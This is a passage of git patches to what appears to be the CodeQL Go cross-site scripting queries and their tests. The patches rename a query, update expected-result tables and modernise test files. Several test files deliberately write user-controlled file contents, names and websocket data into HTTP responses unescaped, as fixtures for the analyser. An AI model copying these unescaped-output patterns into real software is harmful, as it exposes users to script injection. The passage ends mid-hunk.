UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | -edges -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | -subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 000000000000..84099f5dd29e --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 100% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref similarity index 61% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref index 61712749b14c..9ea7791dff27 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -1,4 +1,4 @@ -query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql postprocess: - utils/test/PrettyPrintModels.ql - utils/test/InlineExpectationsTestQuery.ql From e6c19b0cbd49793d7e6fd498da9533e05f9e6723 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 10:15:10 +0100 Subject: [PATCH 060/535] Modernize tests --- .../Security/CWE-079/ReflectedXss.expected | 12 ++++++------ .../query-tests/Security/CWE-079/StoredXss.expected | 6 ++---- go/ql/test/query-tests/Security/CWE-079/StoredXss.go | 4 ++-- .../query-tests/Security/CWE-079/StoredXssGood.go | 4 ++-- go/ql/test/query-tests/Security/CWE-079/go.mod | 2 +- .../query-tests/Security/CWE-079/reflectedxsstest.go | 4 ++-- .../query-tests/Security/CWE-079/websocketXss.go | 6 +++--- 7 files changed, 18 insertions(+), 20 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b5..91b39e0e2a04 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b7..4e2958c767e2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 30774df39248..05e865be886a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b98874666..b0f5e936a6a1 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a026622814..aaab77bf0398 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 65024f6b865c..b3ddc79535b4 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -29,7 +29,7 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] - content, err2 := ioutil.ReadAll(file) + content, err2 := io.ReadAll(file) w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 1313f431dd53..aa8bc8e41add 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -30,7 +30,7 @@ func xss(w http.ResponseWriter, r *http.Request) { var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] - codec := &websocket.Codec{marshal, unmarshal} + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] From 3b934b8898294c0fbe9c34ab55270c70abc10abe Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 13:58:11 +0100 Subject: [PATCH 061/535] Add comment on importance of `Function.getACall()` --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index e8a4202a98f0..3f7c89e720a7 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -25,6 +25,11 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. */ predicate isSinkToTemplateExec(DataFlow::Node sink) { exists(Method fn, string methodName, DataFlow::CallNode call | From 38dcc1cb843b8dd23a86780f5165a42316d66b6a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:19:31 +0100 Subject: [PATCH 062/535] Fix QLDoc --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 3f7c89e720a7..dd67df44fe63 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -52,7 +52,8 @@ module UntrustedToTemplateExecWithConversionConfig implements 